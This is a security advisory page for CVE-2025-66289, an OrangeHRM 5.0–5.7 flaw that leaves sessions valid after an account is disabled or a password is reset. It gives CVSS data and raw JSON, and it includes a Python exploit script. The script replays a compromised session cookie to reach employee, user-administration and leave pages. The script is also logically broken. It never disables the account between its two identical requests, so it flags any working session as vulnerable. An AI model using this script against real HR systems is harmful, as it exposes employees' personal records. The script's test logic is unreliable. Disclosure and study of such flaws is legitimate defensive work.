Security Vulnerability Report
中文
CVE-2025-66289 CVSS 8.8 HIGH

CVE-2025-66289

Published: 2025-11-29 04:15:58
Last Modified: 2025-12-03 16:47:32

Description

OrangeHRM is a comprehensive human resource management (HRM) system. From version 5.0 to 5.7, the application does not invalidate existing sessions when a user is disabled or when a password change occurs, allowing active session cookies to remain valid indefinitely. As a result, a disabled user, or an attacker using a compromised account, can continue to access protected pages and perform operations as long as a prior session remains active. Because the server performs no session revocation or session-store cleanup during these critical state changes, disabling an account or updating credentials has no effect on already-established sessions. This makes administrative disable actions ineffective and allows unauthorized users to retain full access even after an account is closed or a password is reset, exposing the system to prolonged unauthorized use and significantly increasing the impact of account takeover scenarios. This issue has been patched in version 5.8.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:orangehrm:orangehrm:*:*:*:*:*:*:*:* - VULNERABLE
OrangeHRM 5.0
OrangeHRM 5.1
OrangeHRM 5.2
OrangeHRM 5.3
OrangeHRM 5.4
OrangeHRM 5.5
OrangeHRM 5.6
OrangeHRM 5.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66289 PoC - OrangeHRM Session Not Invalidated # This PoC demonstrates the session invalidation vulnerability import requests import hashlib TARGET_URL = "http://target-orangehrm.com" TARGET_URL = "https://example-orangehrm.com" def exploit_session_not_invalidated(): """ Attack scenario: 1. Attacker obtains a valid session cookie (e.g., from compromised account) 2. Admin disables the user account 3. Attacker continues using the same session cookie 4. Session remains valid and access is granted """ # Step 1: Obtain a valid session cookie (e.g., via phishing, credential stuffing) session_cookie = "your_compromised_session_cookie_here" headers = { "Cookie": f"PHPSESSID={session_cookie}", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Step 2: Verify session works before account disable response = requests.get(f"{TARGET_URL}/symfony/web/index.php/dashboard", headers=headers) print(f"[*] Session status before disable: {response.status_code}") # Step 3: After admin disables account, session should be invalid but isn't response = requests.get(f"{TARGET_URL}/symfony/web/index.php/dashboard", headers=headers) if response.status_code == 200: print("[!] VULNERABLE: Session still valid after account disable!") print("[!] Attacker retains access even after account is disabled") # Step 4: Continue exploiting the valid session # Access sensitive endpoints sensitive_endpoints = [ "/symfony/web/index.php/pim/viewEmployeeList", "/symfony/web/index.php/admin/viewSystemUsers", "/symfony/web/index.php/leave/viewLeaveRequest" ] for endpoint in sensitive_endpoints: resp = requests.get(f"{TARGET_URL}{endpoint}", headers=headers) if resp.status_code == 200: print(f"[+] Accessed: {endpoint}") else: print("[-] Session properly invalidated (patched version)") if __name__ == "__main__": exploit_session_not_invalidated()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66289", "sourceIdentifier": "[email protected]", "published": "2025-11-29T04:15:57.893", "lastModified": "2025-12-03T16:47:32.060", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OrangeHRM is a comprehensive human resource management (HRM) system. From version 5.0 to 5.7, the application does not invalidate existing sessions when a user is disabled or when a password change occurs, allowing active session cookies to remain valid indefinitely. As a result, a disabled user, or an attacker using a compromised account, can continue to access protected pages and perform operations as long as a prior session remains active. Because the server performs no session revocation or session-store cleanup during these critical state changes, disabling an account or updating credentials has no effect on already-established sessions. This makes administrative disable actions ineffective and allows unauthorized users to retain full access even after an account is closed or a password is reset, exposing the system to prolonged unauthorized use and significantly increasing the impact of account takeover scenarios. This issue has been patched in version 5.8."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orangehrm:orangehrm:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0", "versionEndExcluding": "5.8", "matchCriteriaId": "6B30DE92-57A2-492F-A3F3-B8EFEEBEFE70"}]}]}], "references": [{"url": "https://github.com/orangehrm/orangehrm/security/advisories/GHSA-99qp-xh4q-pr9x", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}